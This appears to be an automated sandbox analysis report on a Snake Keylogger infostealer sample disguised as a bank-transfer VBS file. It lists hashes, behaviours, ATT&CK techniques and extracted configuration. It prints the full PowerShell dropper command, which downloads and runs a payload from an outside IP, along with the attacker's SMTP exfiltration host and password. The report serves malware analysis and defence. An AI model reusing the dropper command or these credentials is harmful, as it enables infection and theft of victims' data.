snakekeylogger | 5d4c7f07cb9896d740a7c174f63426f112952c95f12c6ab3a95f2e097e962518

General

Target

Transferencia_Datos bancarios.vbs
Size

433KB
MD5

e5c789225ef05bb4cf08ba2256550e7a
SHA1

e539d74166c70a2111409b82a5d735007e1ceed3
SHA256

5d4c7f07cb9896d740a7c174f63426f112952c95f12c6ab3a95f2e097e962518
SHA512

56bf329a93529f760f9fe4cf821397580288865eb61fa914f26276f01463ea90d9db8775004c9cce30d3acdc5628b5eea0dedcb7c6ea2195d29deae32f5d72cd
SSDEEP

48:yGoGjDfRzToTcjZR+EVrIoUgOiAwH0AuBQ/toTqKr:loGPfV//+uIoUgy5xBr

Score

10^/10

snakekeylogger collection keylogger spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/bug/dll_nostartup.mp4

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.keefort.com.ec
Port:
587
Username:
[email protected]
Password:
icui4cu2@@
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/428-135-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral2/memory/428-136-0x000000000042020E-mapping.dmp	family_snakekeylogger

Blocklisted process makes network request 4 IoCs

flow	pid	Process
14	3760	powershell.exe
29	3760	powershell.exe
34	3760	powershell.exe
39	3760	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
43	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3760 set thread context of 428	3760	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3760	powershell.exe
3760	powershell.exe
428	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	428	RegAsm.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5016 wrote to memory of 3760	5016	WScript.exe	83
PID 5016 wrote to memory of 3760	5016	WScript.exe	83
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90
PID 3760 wrote to memory of 428	3760	powershell.exe	90

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Transferencia_Datos bancarios.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/bug/dll_nostartup.mp4'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.fvdsjafndsbfvxsfbndsdvbnnv/42.021.871.591//:ptth'))
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/428-135-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/428-138-0x00000000053A0000-0x0000000005944000-memory.dmp

Filesize
5.6MB

Download
memory/428-139-0x0000000004E90000-0x0000000004F2C000-memory.dmp

Filesize
624KB

Download
memory/428-140-0x0000000006010000-0x00000000061D2000-memory.dmp

Filesize
1.8MB

Download
memory/428-141-0x00000000061E0000-0x0000000006272000-memory.dmp

Filesize
584KB

Download
memory/428-142-0x0000000005F90000-0x0000000005F9A000-memory.dmp

Filesize
40KB

Download
memory/3760-133-0x00000209D5450000-0x00000209D5472000-memory.dmp

Filesize
136KB

Download
memory/3760-134-0x00007FFBBC710000-0x00007FFBBD1D1000-memory.dmp

Filesize
10.8MB

Download
memory/3760-137-0x00007FFBBC710000-0x00007FFBBD1D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads